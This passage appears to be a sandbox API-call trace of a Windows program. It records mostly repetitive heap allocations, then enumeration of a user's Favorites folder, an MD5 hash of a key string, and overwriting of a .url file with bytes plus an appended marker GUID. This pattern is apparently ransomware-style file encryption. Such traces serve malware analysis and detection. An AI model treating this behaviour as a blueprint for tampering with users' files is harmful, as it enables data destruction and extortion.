dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.005] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.005] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.005] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.005] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.005] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.005] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.005] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.005] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.005] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.005] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.005] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.005] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.005] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.005] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.005] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.005] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.005] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.005] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.005] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.006] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.006] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.006] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.006] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.006] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.006] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.006] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.006] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.006] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.006] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.006] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.006] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.006] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.006] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.006] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.006] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.006] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.006] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.006] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.006] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.006] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.006] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.006] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.006] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.006] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.006] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.006] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.006] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.006] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.006] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.006] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.006] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.006] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.007] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.007] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.007] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.007] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.007] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.007] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.007] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.007] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.007] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.007] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.007] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.007] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.007] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.007] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.007] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.007] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.007] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.007] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.007] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.007] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.007] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.007] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.007] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.007] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.007] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.007] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.007] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.007] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.007] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.007] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.007] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.007] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.007] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.008] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.008] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.008] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.008] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.008] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.008] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.008] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.008] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.008] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.008] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.008] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.008] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.008] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.008] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.008] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.008] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.008] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.008] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.008] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.008] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.008] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.008] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.008] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.008] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.008] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.008] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.008] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.008] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.008] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.008] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.008] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.008] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.009] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.009] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.009] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.009] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.009] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.009] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.009] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.009] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.009] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.009] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.009] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.009] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.009] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.009] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.009] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.009] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.009] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.009] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.009] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.009] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.009] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.009] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.009] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.009] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.009] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.009] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.009] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.009] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.009] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.009] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.009] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.009] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.009] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="Windows Live\\" [0126.010] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.010] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.010] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.010] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0126.010] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0126.010] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.010] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.010] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0126.010] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.010] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.010] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0126.010] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.010] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.010] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.010] PathFindFileNameW (pszPath="") returned="" [0126.010] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.010] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.011] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.011] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.011] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0126.011] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.011] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.011] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url") returned=".url" [0126.011] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.012] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=133) returned 1 [0126.012] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.014] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.014] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.015] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.015] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.015] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.015] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x85, lpOverlapped=0x0) returned 1 [0126.015] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.015] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.015] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.015] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.015] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.016] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.016] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.016] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.016] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.016] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.016] GetLastError () returned 0x0 [0126.016] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.016] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.016] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.016] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0126.016] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.016] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.016] WriteFile (in: hFile=0x624, lpBuffer=0x2ff7df0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x2ff7df0*, lpNumberOfBytesWritten=0x398fb24*=0x80, lpOverlapped=0x0) returned 1 [0126.016] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0126.016] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.016] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.016] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.017] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.017] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.017] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.017] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.017] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.017] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.017] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.017] CloseHandle 